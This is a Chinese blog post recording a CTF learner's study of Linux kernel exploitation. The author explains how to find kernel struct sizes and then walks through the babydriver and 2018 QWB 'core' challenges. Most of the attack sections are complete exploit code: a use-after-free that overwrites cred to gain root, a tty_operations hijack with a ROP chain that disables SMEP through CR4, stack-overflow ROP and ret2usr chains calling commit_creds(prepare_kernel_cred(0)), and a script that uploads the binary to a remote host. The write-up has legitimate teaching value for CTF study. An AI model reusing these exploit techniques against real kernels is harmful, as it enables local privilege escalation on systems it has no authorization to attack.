0%

linux 内核 pwn入门

linux 内核 pwn入门

最近把缺掉的知识一点一点补,面先补全了,然后在进行一方面的深入,涉及了下linux 内核 pwn部分的学习,本来想编写结构体大小生成的代码的,奈何储备知识不够,普通方法太麻烦,现在略过,到时候学会了在补上

找cred结构体大小

读源码

这种方法可以找到,太费力了

kuid跟kgid大小为

/include/uapi/asm-generic/posix_types.h

可以找到

1
2
3
4
#ifndef __kernel_uid32_t
typedef unsigned int __kernel_uid32_t;
typedef unsigned int __kernel_gid32_t;
#endif

atomic_t大小

1
2
3
typedef struct {
int counter;
} atomic_t;

kernel_cap_t

1
2
3
4
5
typedef	unsigned int		__u32;
#define _LINUX_CAPABILITY_U32S_3 2
typedef struct kernel_cap_struct {
__u32 cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;

所以就是unsigned int cap[2]

..下次再说吧,这个太麻烦了,找了下

编译文件获取cred结构体大小

如果只需要结果,建议直接翻到最底下看,前面都是出错如何解决而已

下载源码

编译报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
make -C ../linux-4.4.72/ M=/home/noone/Desktop/babydriver/get_cred   modules  
make[1]: Entering directory '/home/noone/Desktop/babydriver/linux-4.4.72'

ERROR: Kernel configuration is invalid.
include/generated/autoconf.h or include/config/auto.conf are missing.
Run 'make oldconfig && make prepare' on kernel src to fix it.


WARNING: Symbol version dump ./Module.symvers
is missing; modules will have no dependencies and modversions.

CC [M] /home/noone/Desktop/babydriver/get_cred/demo.o
In file included from <command-line>:
././include/linux/kconfig.h:4:10: fatal error: generated/autoconf.h: No such file or directory
4 | #include <generated/autoconf.h>

照着报错做

Run ‘make oldconfig && make prepare’ on kernel src to fix it.

在源码目录下执行命令,一路回车

然后再次编译,继续报错

1
/bin/sh: 1: ./scripts/recordmcount: not found

查找解决方案

1
make recordmcount

报错

1
2
scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory
21 | #include <openssl/bio.h>xxxxxxxxxx scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory   21 | #include <openssl/bio.h>scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directorybash

解决

1
sudo apt-get install libssl-dev

继续执行

1
make modules_prepare

这时候make成功了

然而警告是致命的

1
WARNING: Symbol version dump ./Module.symvers            is missing; modules will have no dependenci

这句话让其无法识别

1
insmod: can't insert '/lib/modules/4.4.72/hello.ko': invalid module format

这时候查到解决方案,编译内核

编译完后,运行又报错

1
2
[    6.539340] hello: disagrees about version of symbol module_layout
insmod: can't insert '/lib/modules/4.4.72/hello.ko': invalid module format

这个…听说关掉检测就行,

Enable loadable module support -> module versioning support

关掉后,编译还是这样…

最终我准备patch babydriver的驱动,让其打印出来,对比我自己编译跟babydriver驱动的时候,我发觉了..

image-20200414134942447

只要编译完就好了,然后反汇编,编译器优化把数值显示出来了…,根本不需要运行了…

好难啊…,一天就搞了这个问题

找tty部分大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//hello.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/tty.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
struct tty_struct t1;
static int hello_init(void)
{
//printk("<1> Hello world!\n");

printk("size of cred : %d \n",sizeof(t1));
printk("size of cred : %d \n",sizeof(t1.kref));
printk("size of cred : %d \n",sizeof(t1.dev));
printk("size of cred : %d \n",sizeof(t1.driver));
printk("size of cred : %d \n",sizeof(t1.ops));
return 0;
}
static void hello_exit(void)
{
printk("<1> Bye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);

这里不改名了,打印tty前面

1
2
3
4
5
6
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;

部分大小

image-20200416134237768

这里可以看到tty整体大小为0x2e0, 到tty_operations为:4+4+16=24=3*8

image-20200416134342694

打印代码一键生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pyclibrary import CParser
parser = CParser(['./header.h'])
members = list(parser.defs['variables'].keys())
print(members)
with open("header.h") as f:
code = f.read()
code = code.strip().split("\n")
result = '''
//put your own header first
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
'''
result += code[0][:-1] + "test;"
result += '''
static int hello_init(void)
{
'''
for member in members:
result += " printk(\"{}: %d\", sizeof(test.{}));\n".format(member, member)

result += '''
return 0;
}
'''

result += '''
static void hello_exit(void)
{
printk("<1> Bye, cruel world\\n");
}
module_init(hello_init);
module_exit(hello_exit);

'''

print(result)

babydriver

这道题漏洞点在ctf-wiki有详细叙述,具体不说了,我查找cred结构体大小方法在上面也阐述过了,这里直接进入exp编写

uaf改cred

通过man查看ioctl用途

image-20200414213625225

这里可以看到,第一个参数fd为一个打开的文件描述符

第二个参数为一个request code,这里

image-20200414213727611

babyioctl里用的是0x10001

第三个参数为可选参数

第一个文件描述符,我们知道其要与设备交互,看到这里

image-20200414214753817

他注册了一个babydev的设备,所以我们可以打开/dev/babydev下,返回文件描述符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

int main()
{
int fd1,fd2;
fd1 = open("/dev/babydev", 2);
fd2 = open("/dev/babydev", 2);

//0xa8 sizeof(cred struct)
ioctl(fd1, 0x10001, 0xa8);
// cause uaf
close(fd1);

pid_t fpid;//fork return
fpid = fork();
if(fpid < 0)
{
printf("fork error");
exit(0);
}
else if(fpid == 0)
{
//change kuid_t
//28
char buf[29]={0};
write(fd2, buf,28);
if(getuid() == 0)
{
puts("root now");
//get bash
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
printf("pid %d", fpid);
}
close(fd2);
return 0;
}

问题总结

  1. 在该系统下无法使用printf输出,我用printf结果是没有输出
  2. 同时wait函数是关键,没有wait无法成功拿shell

wait通常与fork同时出现,这里查阅资料得知

在fork函数执行前,只有一个进程在执行这段代码,在这fork过后,就变成两个进程在执行了,两个进程代码完全相同,将要执行的都是下一句,同时子进程fork的返回值这里也就是fpid跟父进程的fpid不相同, 子进程的fpid为0, 而父进程的fpid为新创建子进程的进程id,所以需要在else阶段阻塞父进程,等待子进程执行完毕过后在继续父进程,不然会直接结束

bypass SMEP ret2usr

为了防止 ret2usr 攻击,内核开发者提出了 smep 保护,smep 全称 Supervisor Mode Execution Protection,是内核的一种保护措施,作用是当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误;这个保护在 arm 中被称为 PXN

这道题用ropper跑不出gadget,直接卡死了,用ropgadget跑,半分钟不到就跑完了

1
cat g1 | grep '.*: pop rdi ; ret' | head -1

利用正则找gadget

image-20200416121249647

cr4

1
2
3
└──╼ $cat g1 | grep '.*: mov cr4' 
0xffffffff8105c085 : mov cr4, rax ; jmp 0xffffffff8105c08d
0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

swapgs

1
2
3
└──╼ $cat g1 | grep '.*: swapgs' 
0xffffffff8181bebc : swapgs ; jmp 0xffffffff8181bec4
0xffffffff81063694 : swapgs ; pop rbp ; ret

iretq用ROPgadget无法找到,直接查看汇编

1
2
└──╼ $objdump -S  vmlinux | grep iretq 
ffffffff8181a797: 48 cf iretq

查看smep保护

image-20200416095157978

这里看到了开启了

调试下ROP过程

image-20200416132532061

开头进行栈迁移,这里看到rsp就是pop rdi

image-20200416132847860

有点不一样的是,这里的rop居然跑到了0xff开头的空间里去了,

image-20200416095459440

pop rdi过后将 cr4 设置为0x6f0,关闭smep保护,然后转到用户态执行

image-20200416095543876

就是执行prepare_kernel_cred以及commit_creds

然后通过swapgs恢复gs值

image-20200416132244645

返回到iretq,恢复现场

这里注意几个细节点

为什么攻击tty结构体?

在open(“/dev/ptmx”)的时候会创建tty结构体,而tty结构体里有个tty_operation含有大量函数指针,我们修改其中一个,让其转移到我们伪造的tty结构体上,迁移到ROP链条上攻击

过程?

我们是攻击write函数,在调用write的时候,此时rax刚好为tty_operations的首地址

在for循环的时候,我们设置了mov rsp,rax, 这里就是将栈转移到fake_tty结构体上,

然后此时,在将rsp转移到我们的ROP链上,这时候才开始ROP

必要条件:

  1. 我们能够伪造这个tty结构体,这里用了uaf的洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


void get_shell()
{
system("/bin/sh");
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
save_status();

int i = 0;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
}
fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2,fake_tty_struct, 32);

char buf[0x8] = {0};
write(fd_tty, buf, 8);

return 0;
}

2018强网杯 core

ROP

基地址

image-20200415232703569

这里主要是因为kaslr保护,所以起来后的文件有偏移,动态获取后,得到一个offset,在将静态获取的地址加上这个offset便是真实地址了

  1. fuck
    • fuck1
    • fuck2

rop过程

这里重复的不多说,主要测试下rop过程

image-20200415231401414

这里进入了prepare_kernel_cred

image-20200415231458563

出来后又pop_rdx

image-20200415232005478

执行完cmmit_creds后

然后返回到用户态

image-20200415232427134

然后起shell

这里可以看到

1
2
3
4
5
pop rdx; ret

pop rcx; ret

mov rdi, rax; call rdx;

这里跟往常不怎么一样,不过原理还是rop,先执行pop rdx,然后执行mov rdi,rax,然后在执行pop ecx, ret

细节点

编译

1
gcc exploit.c -static -masm=intel -g -o exploit

方便调试查看 root启动

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

查看.text

1
cat /sys/modules/core/section/.text

add-symbol-file

1
add-symbol-file ./core.ko /sys/modules/core/section/.text

这样可以带符号下断了

这个让我自己做还是很难的,调试别人exp相对容易些,自己编写感觉暂时做不出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

ret2usr

rop过程

直接转到用户态了

image-20200416094907763

到用户态后,在往下直接运行起来了

这里可以看到ret2usr确实是直接返回到用户态执行,commit_creds(prepare_kernel_cred(0)),通过函数指针执行

而常规ROP构造相对复杂些

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


void get_shell(void){
system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}


void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}


int main(void)
{
find_symbols();
size_t offset = vmlinux_base - raw_vmlinux_base;
save_status();

int fd = open("/proc/core",O_RDWR);
set_off(fd, 0x40);
size_t buf[0x40/8];
core_read(fd, buf);
size_t canary = buf[0];
printf("[*]canary : %p\n", canary);

size_t rop[0x30] = {0};
rop[8] = canary ;
rop[10] = (size_t)get_root;
rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[12] = 0;
rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[14] = (size_t)get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = user_sp;
rop[18] = user_ss;

puts("[*] DEBUG: ");
getchar();
write(fd, rop, 0x30 * 8);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

2018 0CTF Finals Baby Kernel

占坑,double Fetch,暂时不进行学习

备份上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
from pwn import *

HOST = "35.221.78.115"
PORT = 10022

USER = "pwn"
PW = "pwn"

def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")

def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")

def upload():
p = log.progress("Upload")

with open("pwn", "rb") as f:
data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")

p.success()

def exploit(r):
compile()
upload()

r.interactive()

return

if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)

总结

  1. 改cred结构体大小感觉相对利用简单一些,我做的时候,难点在于获取cred结构体大小,具体过程已经记录下来了
  2. 改tty结构体,也就是改函数指针,这个也需要计算结构体大小,已经覆盖部分大小,具体也是通过编译文件直接获得,我这里
  3. ret2usr这种方法构造的rop链相对简单一些,在内核态进行ROP的过程稍微复杂一些
  4. smep保护是可以关闭的
  5. 内核pwn的exp编写相对复杂一些,用纯c编写,这个过程我具体只做了babydriver那题的cred部分,这个还让我学了下fork以及wait

参考

ctf-wiki

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/1b0c54c5/
版权声明:转载请注明出处!